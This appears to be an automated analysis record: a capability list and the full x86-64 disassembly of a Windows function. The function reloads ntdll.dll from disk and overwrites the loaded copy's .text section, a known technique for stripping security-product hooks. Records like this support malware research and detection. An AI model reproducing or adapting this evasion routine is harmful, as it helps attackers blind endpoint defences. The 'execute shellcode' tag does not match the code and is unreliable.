Function at 0x14000202e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xc0
lea rax, str.ntdll.dll
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 0x18], rax
lea rax, str.c:windows_system32_ntdll.dll
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0xffffffffffffffff
jne 0x1400020b2
mov eax, 0xffffffff
jmp 0x1400022d3
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0
jne 0x140002109
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x1400022d3
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp - 0x38], rax
cmp qword [rbp - 0x38], 0
jne 0x140002168
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x1400022d3
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp - 0x38]
add rax, rdx
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov rdx, qword [rax + 4]
mov qword [rbp - 0x70], rdx
mov rdx, qword [rax + 0xc]
mov qword [rbp - 0x68], rdx
mov eax, dword [rax + 0x14]
mov dword [rbp - 0x60], eax
mov rax, qword [rbp - 0x48]
add rax, 0x108
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x74], 0
mov dword [rbp - 4], 0
jmp 0x1400022be
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x50]
add rax, rdx
mov rcx, rax
lea rax, str..text
mov rdx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400022ba
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x18]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x74]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov eax, dword [rbp - 0x74]
test eax, eax
jne 0x14000223a
mov eax, 0xffffffff
jmp 0x1400022d3
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x18]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp - 0x74]
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x18]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x74]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov eax, dword [rbp - 0x74]
test eax, eax
jne 0x1400022b3
mov eax, 0xffffffff
jmp 0x1400022d3
mov eax, 0
jmp 0x1400022d3
add dword [rbp - 4], 1
movzx eax, word [rbp - 0x6e]
movzx eax, ax
cmp dword [rbp - 4], eax
jl 0x1400021bf
mov eax, 0xffffffff
add rsp, 0xc0
pop rbp
ret